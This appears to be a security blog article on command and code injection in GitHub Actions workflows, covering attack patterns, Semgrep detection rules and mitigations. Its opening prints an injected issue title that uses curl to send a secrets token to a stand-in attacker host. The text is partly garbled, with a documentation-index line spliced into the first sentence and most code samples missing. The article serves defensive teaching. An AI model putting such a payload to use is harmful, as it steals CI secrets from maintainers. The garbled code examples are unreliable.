A user opens a GitHub issue titledDocumentation Index
Fetch the complete documentation index at: https://docs.semgrep.dev/llms.txt
Use this file to discover all available pages before exploring further.
"; curl http://attacker.site?token=${{ secrets.SERVICE_SECRET }}; x=", and a few seconds later, your GitHub Actions runner silently executes it. Just like that, a secret is exfiltrated. This isn’t hypothetical—this is a textbook example of command injection in GitHub Actions.
Modern CI/CD pipelines like GitHub Actions automate everything from testing and building to deploying production code. But when workflows are written insecurely, they can become an attacker’s playground. This risk is especially relevant when user-supplied data flows directly into commands or scripts.
There are also potential for code injection where instead of executing a command, source code is included in the configuration to run. So both command and code injection have a common security vulnerability theme, untrusted user input including in GitHub Actions workflows can lead to exfiltrating tokens, compromising infrastructure, or creating releases to distribute malware.
In this article, we’ll break down how command and code injection can happen in GitHub Actions, explore common attack patterns, show how to detect it in code, and end with practical advice to avoid these issues in your own workflows.
GitHub Actions Fundamentals
GitHub Actions is a CI/CD platform built directly into GitHub. At its core, a workflow is defined in a YAML file located in the.github/workflows/ directory of a repository. Each workflow is made up of jobs, and each job typically has a runner which provides services to execute the job typically in a container environment. Jobs may contain multiple steps, which run shell commands, execute scripts, or trigger external actions.
A typical example might look like this:
${{ github.event.issue.title }}.
This convenience is also where the risks begin.
Common GitHub Actions Attacks
Let’s look at some common injection attacks that can happen with GitHub Actions.Command Injection within GitHub Actions
A workflow might include a step like this:github.event.issue.title comes from a user input field and is inserted directly into a shell command. A bad actor could open an issue in a public repo and any input they use for the title of the issue is inserted directly into the shell command.
For example, a title like this:
sleep so that there is an opportunity for the attacker to delay the workflow and use the temporary token with malicious intent.
Look for untrusted data sources—like issue titles, branch names, comments or pull request metadata—being inserted into shell commands or scripts.
Code Injection in Builds with GitHub Actions
To catch this kind of issue, you need to understand both the source of the data (where it comes from) and the sink (where it’s used). When untrusted input reaches a code execution point likerun, script, or a third-party action’s args, it becomes an injection risk. Care should also be taken when uses pulls in workflow dependencies like run-scripts may come from third-parties.
Here is an example of a workflow that allows the attacker to inject code through a regular pull request anticipating installation which could run any arbitrary code.
composer, Java maven, Python pip install, and many more package managers with a similar technique.
The attacker can include scripts in the package.json build pipeline:
Detecting GitHub Actions Vulnerabilities
Semgrep can help identify injection patterns across large codebases. You can use the p/github-actions ruleset to find common GitHub Actions misconfigurations, including:- Command injection via
runshell execution - Unsafe code injection triggers like
pull_request_targetwith write permissions
--config p/default ruleset to help detect issues.
Recommendations & Mitigations
Some examples and tips to reduce the risk of command injection and related risks in your GitHub Actions workflows.Use Environment Variables Instead of Raw User Input
Instead of inserting untrusted values directly intorun, assign them to environment variables:
Unsafe:
Minimize Permission Settings
Set job-level permissions toread by default, especially when handling untrusted inputs:
pull_request_target unless absolutely necessary, as it grants write permissions to the GITHUB_TOKEN by default.
For any secrets configured, limit their access from org-wide level whenever it is not necessary. Branch protection rules can also be effective of limiting permissive settings that can be detected before being exploited.